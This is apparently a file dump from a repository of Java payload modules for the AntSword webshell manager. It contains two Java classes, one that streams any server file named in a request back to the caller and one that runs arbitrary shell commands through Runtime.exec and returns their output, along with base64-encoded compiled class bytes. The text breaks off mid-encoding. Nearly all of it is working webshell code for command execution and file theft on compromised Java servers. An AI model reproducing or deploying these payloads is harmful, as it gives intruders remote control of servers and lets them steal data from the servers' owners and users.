KrQAAhInuQASAgC2ACESE7YAIbYAIrYAI7YAJDoHLBIotgApVy0qGQS2ACq2AClXLC22ACu2AClXLBIstgApVyq0AAO5AC0BACy2ACu2AC6nACE6BC27AB5ZtwAfEi+2ACEZBLYAMLYAIbYAIrYAKVcErAADADQAcABzAA8AigDGAMkADwEmAhkCHAAPAAIAWgAAAL4ALwAAAA8ABwAQAAwAEQAXABIAIgATACwAFAA0ABYAQQAXAEYAGABSABkAXQAaAGMAGwBwAB4AcwAcAHQAHQB4AB4AewAgAIIAIQCKACMAlwAkAJwAJQCoACYAswAnALkAKADGACsAyQApAMoAKgDOAC0A8AAuARIALwEcADABJgAyATEAMwE+ADQBSwA1AXIANgGZADcBwAA4AecAOQHuADoB+QA7AgIAPAIJAD0CGQBAAhwAPgIeAD8COgBBAF0AAABWAAsl9wBNBwBeB/cATQcAXgRcBwBf/wABAAIHAGAHAGEAAgcAXwcAYl8HAF//AAEAAgcAYAcAYQACBwBfBwBi/wEMAAQHAGAHAGEHAGMHAGMAAQcAXh0AAABkAGUAAgBZAAAAQwAEAAIAAAAeKrQAFBIxtgAymQAFK7C7ADNZK7YANCq0ABe3ADWwAAAAAgBaAAAACgACAAAARQAOAEYAXQAAAAMAAQ4AZgAAAAQAAQAPAAAAZwBlAAIAWQAAAeUABgAGAAABLSq0ABQSMbYAMpkAlSvGAAwrEhO2ADKZAAYSE7ASNk0rtgA3TLsAOFkrtgA5BWy3ADpOEhM6BAM2BRUFK7YAOaIAWLsAHlm3AB8ZBLYAISwrFQW2ADu2ADwHeCwrFQUEYLYAO7YAPIC2AD0SPrYAIbYAIjoELSwrFQW2ADu2ADwHeCwrFQUEYLYAO7YAPIC2AD+EBQKn/6UtEha2AECwKrQAFBJBtgAymQCEAU0SQrgAQ04tEkQEvQBFWQMTADNTtgBGLbYARwS9AEhZAytTtgBJwABKwABKTacASE4STLgAQzoEGQQSTQO9AEW2AEYBA70ASLYASToFGQW2AAkSTgS9AEVZAxMAM1O2AEYZBQS9AEhZAytTtgBJwABKwABKTbsAM1ksEha3ADWwK7AAAQCsANgA2wBLAAIAWgAAAF4AFwAAAEoADABLABkATAAcAE4AHwBPACQAUAAyAFEANgBSAEIAUwB0AFQAkQBSAJcAVgCeAFcAqgBYAKwAWgCyAFsA2ABgANsAXADcAF0A4wBeAPgAXwEgAGEBKwBjAF0AAAA6AAgZAv8AHAAGBwBgBwBiBwBiBwBoBwBiAQAA+gBd+AAG/wA8AAMHAGAHAGIHAEoAAQcAafsARPoACgBmAAAABAABAA8AAABqAGUAAQBZAAAAGgABAAIAAAACK7AAAAABAFoAAAAGAAEAAABnAAEAawAAAAIAbA== -------------------------------------------------------------------------------- /DownloadFileCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/DownloadFileCode.class -------------------------------------------------------------------------------- /DownloadFileCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.ServletOutputStream; 2 | import javax.servlet.http.HttpServletRequest; 3 | import javax.servlet.http.HttpServletResponse; 4 | import javax.servlet.jsp.PageContext; 5 | import java.io.BufferedInputStream; 6 | import java.io.ByteArrayOutputStream; 7 | import java.io.FileInputStream; 8 | import java.lang.reflect.Field; 9 | 10 | public class DownloadFileCode { 11 | public HttpServletRequest request = null; 12 | public HttpServletResponse response = null; 13 | public String encoder; 14 | public String cs; 15 | 16 | @Override 17 | public boolean equals(Object obj) { 18 | if (obj instanceof PageContext) { 19 | PageContext page = (PageContext) obj; 20 | request = (HttpServletRequest) page.getRequest(); 21 | response = (HttpServletResponse) page.getResponse(); 22 | } else if (obj instanceof HttpServletRequest) { 23 | request = (HttpServletRequest) obj; 24 | try { 25 | Field req = request.getClass().getDeclaredField("request"); 26 | req.setAccessible(true); 27 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 28 | Field resp = request2.getClass().getDeclaredField("response"); 29 | resp.setAccessible(true); 30 | response = (HttpServletResponse) resp.get(request2); 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | } else if (obj instanceof HttpServletResponse) { 36 | response = (HttpServletResponse) obj; 37 | try { 38 | Field resp = response.getClass().getDeclaredField("response"); 39 | resp.setAccessible(true); 40 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 41 | Field req = response2.getClass().getDeclaredField("request"); 42 | req.setAccessible(true); 43 | request = (HttpServletRequest) req.get(response2); 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 49 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 50 | StringBuffer output = new StringBuffer(""); 51 | StringBuffer sb = new StringBuffer(""); 52 | try { 53 | response.setContentType("text/html"); 54 | request.setCharacterEncoding(cs); 55 | response.setCharacterEncoding(cs); 56 | String var1 = EC(decode(request.getParameter("var1") + "")); 57 | output.append("->" + "|"); 58 | DownloadFileCode(var1, response); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { 103 | int n; 104 | byte[] b = new byte[512]; 105 | r.reset(); 106 | ServletOutputStream os = r.getOutputStream(); 107 | BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); 108 | os.write(("->" + "|").getBytes(), 0, 3); 109 | while ((n = is.read(b, 0, 512)) != -1) { 110 | os.write(b, 0, n); 111 | } 112 | os.write(("|" + "<-").getBytes(), 0, 3); 113 | os.close(); 114 | is.close(); 115 | } 116 | 117 | } 118 | -------------------------------------------------------------------------------- /DownloadFileCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBAQoARQB4CQBWAHkJAFYAegcAewoABAB8BwB9CgAEAH4HAH8KAEUAgAgAVwoAQgCBCgCCAIMKAIIAhAgAWQcAhQoADwCGCABbCwAGAIcIAIgJAFYAiQgAiggAiwkAVgCMBwCNCgAYAI4IAI8LAAgAkAsABgCRCwAIAJEHAJIKAB4AeAgAkwoAHgCUCgAeAJUKAFYAlgoAVgCXCACYCgAYAJkKAFYAmgoAGACVCACbCwAIAJwKAJ0AnggAnwoADwCVCACgCgAwAKEHAKIKADAAowoAMACkCAClCgAwAKYHAKcKADAAqAoANQCpCgAwAKoKADAAqwoAHgCsCACtCgA1AK4KADUArwgAsAgAsQoAQgCyCACzBwC0CgBCALUKAEIAtgcAtwoAuAC5BwC6BwC7CAC8CAC9CABuCwAIAL4LAAgAvwcAwAcAwQoATwCOCgBOAMIKAMMAxAoATgDFCgDDAMYKAE4AxgcAcQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAhQcAcQcAcQcAtwcAogcAjQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCnBwC7AQAQRG93bmxvYWRGaWxlQ29kZQEAPShMamF2YS9sYW5nL1N0cmluZztMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYHAH8HAMcHAMABAApTb3VyY2VGaWxlAQAVRG93bmxvYWRGaWxlQ29kZS5qYXZhDABeAF8MAFcAWAwAWQBaAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMgAyQEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAMoAywEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADMAM0MAM4AzwcA0AwA0QDSDADTANQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDADVAF8MANYAbAEAAAwAWwBcAQAHY2hhcnNldAEABVVURi04DABdAFwBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABeANcBAAl0ZXh0L2h0bWwMANgA1wwA2QDXAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIxDADaANsMANwA3QwAbgBsDABrAGwBAAMtPnwMANoA3gwAcQByAQADfDwtDADfAOAHAOEMAOIA1wEACUVSUk9SOi8vIAEAA2hleAwAYgBjAQAQamF2YS9sYW5nL1N0cmluZwwA4wDkDABeAOUBABAwMTIzNDU2Nzg5QUJDREVGDADmAN0BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA5wDoDABeAOkMAOoA6wwA7ADtDADaAO4BAAEsDADvAOkMANwAbAEABmJhc2U2NAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAPAA8QEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwA8gDzDAD0APUBABBqYXZhL2xhbmcvT2JqZWN0BwD2DAD3APgBAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAPkAXwwA+gD7AQAbamF2YS9pby9CdWZmZXJlZElucHV0U3RyZWFtAQAXamF2YS9pby9GaWxlSW5wdXRTdHJlYW0MAF4A/AcAxwwA7wD9DAD+AP8MAQAAXwEAIWphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXJlc2V0AQAPZ2V0T3V0cHV0U3RyZWFtAQAlKClMamF2YXgvc2VydmxldC9TZXJ2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 -------------------------------------------------------------------------------- /ExecuteCommandCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/ExecuteCommandCode.class -------------------------------------------------------------------------------- /ExecuteCommandCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.BufferedReader; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.InputStream; 7 | import java.io.InputStreamReader; 8 | import java.lang.reflect.Field; 9 | 10 | public class ExecuteCommandCode { 11 | public HttpServletRequest request = null; 12 | public HttpServletResponse response = null; 13 | public String encoder; 14 | public String cs; 15 | 16 | @Override 17 | public boolean equals(Object obj) { 18 | if (obj instanceof PageContext) { 19 | PageContext page = (PageContext) obj; 20 | request = (HttpServletRequest) page.getRequest(); 21 | response = (HttpServletResponse) page.getResponse(); 22 | } else if (obj instanceof HttpServletRequest) { 23 | request = (HttpServletRequest) obj; 24 | try { 25 | Field req = request.getClass().getDeclaredField("request"); 26 | req.setAccessible(true); 27 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 28 | Field resp = request2.getClass().getDeclaredField("response"); 29 | resp.setAccessible(true); 30 | response = (HttpServletResponse) resp.get(request2); 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | 35 | } else if (obj instanceof HttpServletResponse) { 36 | response = (HttpServletResponse) obj; 37 | try { 38 | Field resp = response.getClass().getDeclaredField("response"); 39 | resp.setAccessible(true); 40 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 41 | Field req = response2.getClass().getDeclaredField("request"); 42 | req.setAccessible(true); 43 | request = (HttpServletRequest) req.get(response2); 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 49 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 50 | StringBuffer output = new StringBuffer(""); 51 | StringBuffer sb = new StringBuffer(""); 52 | try { 53 | response.setContentType("text/html"); 54 | request.setCharacterEncoding(cs); 55 | response.setCharacterEncoding(cs); 56 | String var1 = EC(decode(request.getParameter("var1") + "")); 57 | String var2 = EC(decode(request.getParameter("var2") + "")); 58 | output.append("->" + "|"); 59 | sb.append(ExecuteCommandCode(var1, var2)); 60 | output.append(sb.toString()); 61 | output.append("|" + "<-"); 62 | response.getWriter().print(output.toString()); 63 | } catch (Exception e) { 64 | sb.append("ERROR" + ":// " + e.toString()); 65 | } 66 | return true; 67 | } 68 | 69 | String EC(String s) throws Exception { 70 | if (encoder.equals("hex")) return s; 71 | return new String(s.getBytes(), cs); 72 | } 73 | 74 | String decode(String str) throws Exception { 75 | if (encoder.equals("hex")) { 76 | if (str == null || str.equals("")) { 77 | return ""; 78 | } 79 | String hexString = "0123456789ABCDEF"; 80 | str = str.toUpperCase(); 81 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 82 | String ss = ""; 83 | for (int i = 0; i < str.length(); i += 2) { 84 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 85 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 86 | } 87 | return baos.toString("UTF-8"); 88 | } else if (encoder.equals("base64")) { 89 | byte[] bt = null; 90 | try { 91 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 92 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 93 | } catch (ClassNotFoundException e) { 94 | Class clazz = Class.forName("java.util.Base64"); 95 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 96 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 97 | } 98 | return new String(bt, "UTF-8"); 99 | } 100 | return str; 101 | } 102 | 103 | String ExecuteCommandCode(String cmdPath, String command) throws Exception { 104 | StringBuffer sb = new StringBuffer(""); 105 | String[] c = {cmdPath, !isWin() ? "-c" : "/c", command}; 106 | Process p = Runtime.getRuntime().exec(c); 107 | CopyInputStream(p.getInputStream(), sb); 108 | CopyInputStream(p.getErrorStream(), sb); 109 | return sb.toString(); 110 | } 111 | 112 | boolean isWin() { 113 | String osname = System.getProperty("os.name"); 114 | osname = osname.toLowerCase(); 115 | if (osname.startsWith("win")) 116 | return true; 117 | return false; 118 | } 119 | 120 | void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { 121 | String l; 122 | BufferedReader br = new BufferedReader(new InputStreamReader(is, cs)); 123 | while ((l = br.readLine()) != null) { 124 | sb.append(l + "\r\n"); 125 | } 126 | br.close(); 127 | } 128 | 129 | 130 | } 131 | -------------------------------------------------------------------------------- /ExecuteCommandCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBKgoARgCHCQBhAIgJAGEAiQcAigoABACLBwCMCgAEAI0HAI4KAEYAjwgAYgoAQwCQCgCRAJIKAJEAkwgAZAcAlAoADwCVCABmCwAGAJYIAJcJAGEAmAgAmQgAmgkAYQCbBwCcCgAYAJ0IAJ4LAAgAnwsABgCgCwAIAKAHAKEKAB4AhwgAogoAHgCjCgAeAKQKAGEApQoAYQCmCACnCACoCgAYAKkKAGEAqgoAGACkCACrCwAIAKwKAK0ArggArwoADwCkCACwCgAxALEHALIKADEAswoAMQC0CAC1CgAxALYHALcKADEAuAoANgC5CgAxALoKADEAuwoAHgC8CAC9CgA2AL4KADYAvwgAwAgAwQoAQwDCCADDBwDECgBDAMUKAEMAxgcAxwoAyADJBwDKBwDLCADMCADNCAB5CgBhAM4IAM8IANAKANEA0goA0QDTCgDUANUKAGEA1goA1ADXCADYCgDZANoKADEA2wgA3AoAMQDdBwDeBwDfCgBbAOAKAFoA4QoAWgDiCADjCgBaAOQHAHwBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJQHAHwHAHwHAMcHALIHAJwBAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAtwcAywEAEkV4ZWN1dGVDb21tYW5kQ29kZQEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwDlAQAFaXNXaW4BAAMoKVoBAA9Db3B5SW5wdXRTdHJlYW0BADAoTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7KVYHAN4HAOYBAApTb3VyY2VGaWxlAQAXRXhlY3V0ZUNvbW1hbmRDb2RlLmphdmEMAGkAagwAYgBjDABkAGUBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA5wDoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA6QDqAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAOsA7AwA7QDuBwDvDADwAPEMAPIA8wEAE2phdmEvbGFuZy9FeGNlcHRpb24MAPQAagwA9QB3AQAADABmAGcBAAdjaGFyc2V0AQAFVVRGLTgMAGgAZwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAGkA9gEACXRleHQvaHRtbAwA9wD2DAD4APYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAPkA+gwA+wD8DAB5AHcMAHYAdwEABHZhcjIBAAMtPnwMAPkA/QwAfAB9AQADfDwtDAD+AP8HAQAMAQEA9gEACUVSUk9SOi8vIAEAA2hleAwAbQBuAQAQamF2YS9sYW5nL1N0cmluZwwBAgEDDABpAQQBABAwMTIzNDU2Nzg5QUJDREVGDAEFAPwBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBBgEHDABpAQgMAQkBCgwBCwEMDAD5AQ0BAAEsDAEOAQgMAPsAdwEABmJhc2U2NAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAQ8BEAEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwBEQESDAETARQBABBqYXZhL2xhbmcvT2JqZWN0BwEVDAEWARcBAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEAAi1jAQACL2MHARgMARkBGgwBGwEcBwEdDAEeAR8MAIEAggwBIAEfAQAHb3MubmFtZQcBIQwBIgB3DAEjAPwBAAN3aW4MASQBJQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABpASYMAGkBJwwBKAD8AQACDQoMASkAagEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5